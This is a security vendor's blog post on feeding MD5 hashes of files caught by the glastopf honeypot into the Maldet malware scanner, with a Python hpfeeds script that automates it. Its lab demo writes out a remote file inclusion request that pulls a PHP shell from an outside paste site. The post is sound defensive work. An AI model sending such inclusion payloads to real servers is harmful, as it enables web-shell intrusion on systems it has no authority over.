Malware Detection : Adding glastopf juice to maldet engine

At SecureLayer7, we continuously try to keep our customers updated with the latest threats which could affect their infrastructure and help them secure their perimeter. More than often we devise attack scenarios and then brainstorm to block such attempts. During one such brainstorming session, we took an interesting detour to check a couple of our ideas.

Now, one of the many free and awesome tools developed to balance the less anti-virus count available for Linux platforms is Maldet https://www.rfxn.com/projects/linux-malware-detect/

Description

Linux Malware Detect (LMD) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and from malware community resources. The signatures that LMD uses are MD5 file hashes and HEX pattern matches, they are also easily exported to any number of detection tools such as ClamAV.

With tools like Maldet, you can keep a tight watch over the files brought to your directories, e.g. files uploaded by users through a web app running on the box.

Let us now see for instance a typical scenario where you want to scan a directory for possible malicious files used as php shells. Once you install Maldet, you can do a

Maldet -a uploads/

and as a result, you will get something like this.

Note that Maldet also has some awesome features like real-time monitoring of the desired directory. And you can also use it to automatically keep a watch for incoming files on the fly.

However, Maldet is a signature-based detection tool and has its own limitation. Although it has a hex pattern spotter mechanism that takes hex patterns from a signature file and tries to match the pattern in files you throw at it.

Now, the sigs directory (/usr/local/maldetect/sigs/ on our box) has

1. hex.dat : This stores the malicious hex patterns which we look for in files processed.
2. maldet.sigs.ver This stores the version of the signature database
3. md5.dat  This stores the md5 hashes of malicious files known before by Maldet authors
4. rfxn.hdb  File meant to be consumed by ClamAV having MD5 signatures made from Maldet signature database
5. rfxn.ndb file meant to be consumed by ClamAV having hex pattern signatures made from Maldet signature database

Let’s add more juice to Maldet. How about adding more signatures to Maldet using suspicious files injected into our honeypot !!

As we already know, setting up honeypots to study new attack styles and variations is not a new concept. Though enterprises are still sceptical to deploy them and they often ignore them against AVs, firewalls and IDS/IPS setups. A good discussion regarding this was recently covered by Haroon Meer in Blackhat 2015 https://www.blackhat.com/us-15/briefings.html#bring-back-the-honeypots. Also, you can find the slides at https://www.linkedin.com/pulse/slides-from-our-blackhat-2015-talk-bring-back-honeypots-haroon-meer

So, we decided to bring the pre-attack indicator knowledge base of the honeypot to our advantage. For this purpose, we chose a well documented web honeypot glastopf http://glastopf.org/ to pipe md5 of incoming files to Maldet signature database. If we deploy the honeypot cleverly in an enterprise setup, then the effectiveness goes up. Even in case of honeypots facing much noise, Maldet powered by glastopf gives forensic analysts more hits of suspicious files quickly and expands their visibility of ‘suspicious files’

For example : (Lab Setup)

Initially, we set up glastopf. Then we simulated an RFI attack using the URL http://localhost/hackme.php?log=http://dpaste.com/1ZS6ZD0.txt

Glastopf promptly read the attack and as a result, sucked the PHP shell file which the hypothetical attacker would have wanted to pivot on.

Behind the scenes, you get the injected file stored in a safe way to be studied further

$:~/glastopf/data/files$ sudo ls -l

-rw——- 1 nobody nogroup 165783 Sep  1 12:34 a8f2a688e928ab4783747bb62a73b963

As a result, the file is fetched and named as its MD5 hash. We can use this MD5 in order to update the md5.dat file in the sigs directory of Maldet setup.

And now do a

Maldet -a uploads/

And voila!! We now have a suspicious hit that we need to investigate!

Please note that we can also append hex pattern signatures to hex.dat for honeypot captured files in the same way.

Of course, constructing the signature database in this way will soon become tedious and boring. In order to automate this, we can use hpfeeds protocol https://github.com/rep/hpfeeds to monitor incoming injected/suspicious files to our glastopf instance and append them to Maldet signature base! The use of hpfeeds consequently gives added flexibility to deploy the glastopf instance in any environment and receive feeds from it in a secure way. Below we give a sample script that we can use for this purpose. (makesig.py)

More than anything, experiments like this show that in addition to good tools, you also need skilled people who understand how a tool works. We hope that you will enjoy the musing as much as we did in coming up with it. Also, suggestions and comments are always welcome!

As an illustration, let us have a look at the Python Code :

#!

/usr/bin/python # File modified from original source code at https://github.com/rep/hpfeeds/blob/master/examples/grabmalware.py # Change the location of md5.dat file according to your setup. # Thank you for the code update Rahul Binjve : https://gist.github.com/RahulBinjve/f43ff8a4e77fb94cfda5 import os import sys import datetime import json import hashlib import logging logging.basicConfig(level=logging.CRITICAL) import hpfeeds HOST = 'hpfeeds.honeycloud.net' PORT = 10000 CHANNELS = ['mwbinary.glastopf.sensorunique',] IDENT = '' SECRET = '' OUTFILE = '/usr/local/maldetect/sigs/md5.dat' #Replace it with the location of md5.dat singature file on your filesystem OUTDIR = './malware/' LOGFILE = './grabmw.log' def main(): if not os.path.exists(OUTDIR): os.mkdir(OUTDIR) hpc = hpfeeds.new(HOST, PORT, IDENT, SECRET) print >>sys.stdout, 'connected to', hpc.brokername def on_message(identifier, channel, payload): # now store the file itself md5sum = hashlib.md5(payload).hexdigest() print >>sys.stdout, 'received payload from {0} with md5 {1}.'.format(channel, md5sum) try: fpath = os.path.join(OUTDIR, md5sum) with open(fpath, 'wb') as f: f.write(payload) except: with open(LOGFILE, 'a') as outlog: outlog.write('{0} ERROR could not write to {1}'.format(datetime.datetime.now().ctime(), fpath)) outlog.flush() with open(OUTFILE, 'a+') as outfd: if outfd.read().find(md5sum) < 0: outfd.write('{0}:{{MD5}}honeypot.suspicious.inject.{1}\n'.format(md5sum,datetime.datetime.now().strftime("%d%m%y"))) outfd.flush() def on_error(payload): print >>sys.stderr, ' -> errormessage from server: {0}'.format(payload) hpc.stop() hpc.subscribe(CHANNELS) hpc.run(on_message, on_error) hpc.close() return 0 if __name__ == '__main__': try: sys.exit(main()) except KeyboardInterrupt: sys.exit(0)